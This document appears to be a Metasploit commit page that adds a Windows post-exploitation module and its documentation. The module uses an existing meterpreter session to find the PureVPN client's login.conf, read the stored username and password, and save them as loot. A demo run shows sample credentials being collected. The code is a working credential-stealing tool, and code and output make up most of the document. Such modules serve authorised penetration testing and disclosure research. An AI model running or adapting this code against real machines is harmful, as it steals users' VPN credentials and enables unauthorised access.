Land #10716, Create PureVPN Credential Collector Post Explotation Module
parent
f3dc091bd8
commit
23cbfd548a
|
@ -0,0 +1,35 @@
|
||||||
|
# Intro
|
||||||
|
|
||||||
|
This module allows you to collect login information for PureVPN client, specifically the `login.conf` file.
|
||||||
|
|
||||||
|
# Vulnerable Application
|
||||||
|
|
||||||
|
Versions before 6.0 should be vulnerable. For testing purposes, you may find the vulnerable version here:
|
||||||
|
|
||||||
|
* [https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m](https://jumpshare.com/v/LZcpUqJcThY1v7WlH95m)
|
||||||
|
* [https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe](https://s3.amazonaws.com/purevpn-dialer-assets/windows/app/purevpn_setup.exe)
|
||||||
|
|
||||||
|
# Options
|
||||||
|
|
||||||
|
**RPATH**
|
||||||
|
|
||||||
|
You may manually set the `RPATH` datastore option to allow the post module to find the installed
|
||||||
|
directory of PureVPN.
|
||||||
|
|
||||||
|
# Demo
|
||||||
|
|
||||||
|
```
|
||||||
|
msf5 post(windows/gather/credentials/purevpn_cred_collector) > rerun
|
||||||
|
[*] Reloading module...
|
||||||
|
|
||||||
|
[*] Searching PureVPN Client installation at C:\ProgramData
|
||||||
|
[*] Found PureVPN Client installation at C:\ProgramData
|
||||||
|
[*] Checking for login configuration at: C:\ProgramData\purevpn\config\
|
||||||
|
[*] Configuration file found: C:\ProgramData\purevpn\config\login.conf
|
||||||
|
[*] Found PureVPN login configuration on DESKTOP-AFMF2QU via session ID: 1
|
||||||
|
[+] Collected the following credentials:
|
||||||
|
[+] Username: asfafsdas
|
||||||
|
[+] Password: 23423423
|
||||||
|
[*] PureVPN credentials saved in: /Users/wchen/.msf4/loot/20181127162258_default_172.16.249.215_PureVPN.creds_515624.txt
|
||||||
|
[*] Post module execution completed
|
||||||
|
```
|
|
@ -0,0 +1,133 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::Windows::Registry
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Windows Gather PureVPN Client Credential Collector',
|
||||||
|
'Description' => %q{
|
||||||
|
Finds the password stored for the PureVPN Client.
|
||||||
|
},
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/Credential-Leak-Flaws-in-Windows-PureVPN-Client/'],
|
||||||
|
['URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2018-010/?fid=11779']
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => ['Manuel Nader #AgoraSecurity'],
|
||||||
|
'Platform' => ['win'],
|
||||||
|
'Arch' => [ARCH_X86, ARCH_X64],
|
||||||
|
'SessionTypes' => ['meterpreter']
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
# In case software is installed in a rare directory
|
||||||
|
[OptString.new('RPATH', [false, 'Path of the PureVPN Client installation'])
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
if session.type != 'meterpreter'
|
||||||
|
print_error ('Only meterpreter sessions are supported by this post module')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
locations = get_locations
|
||||||
|
content = get_content(locations)
|
||||||
|
if content && content !~ /^\-1\r\n$/
|
||||||
|
get_client_creds(content)
|
||||||
|
else
|
||||||
|
print_status("No username/password found")
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_locations
|
||||||
|
progfiles_env = session.sys.config.getenvs('ProgramData')
|
||||||
|
locations = []
|
||||||
|
progfiles_env.each do |_k, v|
|
||||||
|
vprint_status("Searching PureVPN Client installation at #{v}")
|
||||||
|
if session.fs.dir.entries(name = v).include? 'purevpn'
|
||||||
|
vprint_status("Found PureVPN Client installation at #{v}")
|
||||||
|
locations << v + '\\purevpn\\config\\'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
keys = [
|
||||||
|
'HKLM\\SOFTWARE\\WOW6432Node\\OpenVPN', # 64 bit
|
||||||
|
# 'HKLM\\SOFTWARE\\OpenVPN' # 32 bit
|
||||||
|
]
|
||||||
|
|
||||||
|
if datastore['RPATH'].nil?
|
||||||
|
locations << datastore['RPATH']
|
||||||
|
end
|
||||||
|
|
||||||
|
keys.each do |key|
|
||||||
|
begin
|
||||||
|
root_key, base_key = session.sys.registry.splitkey(key)
|
||||||
|
value = session.sys.registry.query_value_direct(root_key, base_key, 'config_dir')
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
vprint_error(e.message)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
locations << value.data + '\\'
|
||||||
|
end
|
||||||
|
locations.compact.uniq!
|
||||||
|
return locations
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_content(locations)
|
||||||
|
datfile = 'login.conf'
|
||||||
|
locations.each do |location|
|
||||||
|
vprint_status("Checking for login configuration at: #{location}")
|
||||||
|
begin
|
||||||
|
files = session.fs.dir.entries(location)
|
||||||
|
files.map{|i| i.downcase}.uniq
|
||||||
|
if files.include?(datfile)
|
||||||
|
filepath = location + datfile
|
||||||
|
print_status("Configuration file found: #{filepath}")
|
||||||
|
print_status("Found PureVPN login configuration on #{sysinfo['Computer']} via session ID: #{session.sid}")
|
||||||
|
data = session.fs.file.open(filepath)
|
||||||
|
return data.read
|
||||||
|
end
|
||||||
|
rescue Rex::Post::Meterpreter::RequestError => e
|
||||||
|
vprint_error(e.message)
|
||||||
|
next
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
nil
|
||||||
|
end
|
||||||
|
|
||||||
|
def parse_file(data)
|
||||||
|
username, password = data.split("\r\n")
|
||||||
|
creds = {'username' => username, 'password' => password}
|
||||||
|
print_good('Collected the following credentials:')
|
||||||
|
print_good(" Username: #{username}")
|
||||||
|
print_good(" Password: #{password}")
|
||||||
|
|
||||||
|
creds
|
||||||
|
end
|
||||||
|
|
||||||
|
def report_cred(creds)
|
||||||
|
# report the goods!
|
||||||
|
loot_path = store_loot('PureVPN.creds', 'text/xml', session, creds.to_xml,
|
||||||
|
'purevpn_credentials.xml', 'PureVPN Credentials')
|
||||||
|
print_status("PureVPN credentials saved in: #{loot_path}")
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_client_creds(data)
|
||||||
|
credentials = Rex::Text::Table.new(
|
||||||
|
'Header' => 'PureVPN Client Credentials',
|
||||||
|
'Indent' => 1,
|
||||||
|
'Columns' =>
|
||||||
|
[
|
||||||
|
'Username',
|
||||||
|
'Password'
|
||||||
|
])
|
||||||
|
result = parse_file(data)
|
||||||
|
report_cred(result)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue